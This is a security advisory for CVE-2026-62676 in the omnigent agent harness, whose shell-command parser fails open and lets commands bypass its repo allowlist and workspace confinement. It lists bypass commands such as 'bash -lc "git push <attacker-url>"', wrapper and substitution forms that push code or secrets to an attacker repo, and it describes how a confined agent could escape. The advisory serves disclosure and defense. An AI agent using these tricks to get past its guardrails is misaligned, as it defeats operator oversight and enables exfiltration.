CVE-2026-62676: Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py
Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/shell.py (shared parser) → consumed by policies/builtins/github.py (writerepos/writebranches allowlist) and policies/builtins/workingdir.py (workspace…
Published Sep 2, 2026
Affected packages
omnigent
- Ecosystem
- PyPI
- Affected
- < 0.3.0
- Fixed in
- 0.3.0
- Check
pip show omnigent
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)
Summary
The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.
Impact
A misaligned or prompt-injected agent that is *meant to be confined* can:
git pushto an attacker-controlled repo (code / secret exfiltration),- push to a protected branch,
- escape its workspace via
git worktree add/git -C <other-dir>.
Bypass classes (all verified against the real policy code)
- Combined interpreter flags:
bash -lc "git push <attacker-url>" - Unlisted wrappers:
timeout/nice/setsid/stdbuf … git push … - Command substitution:
x=$(git push <attacker-url>) - Un-split background operator:
true & git push <attacker-url>
Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.
Suggested fix
Make the gated surface fail closed:
- An unrecognized gated command must DENY, not return
None→ ALLOW. Abstain on a security gate should resolve to deny, not allow. - Canonicalize known wrappers (
timeout/nice/setsid/stdbuf/env) down to their inner command before evaluation. - Recurse into
sh -c/bash -cpayloads and command substitutions, and split on shell control operators (;,&,&&,||,|) before judging each segment.
Credited to aaronjmars.
References
- https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf
- https://nvd.nist.gov/vuln/detail/CVE-2026-62676
- https://github.com/omnigent-ai/omnigent/pull/389
- https://github.com/omnigent-ai/omnigent/commit/1a05b7b139ef504bf2be89bf37918abe104fb95c
- https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0
- https://github.com/advisories/GHSA-7mqg-cx4g-x2rf
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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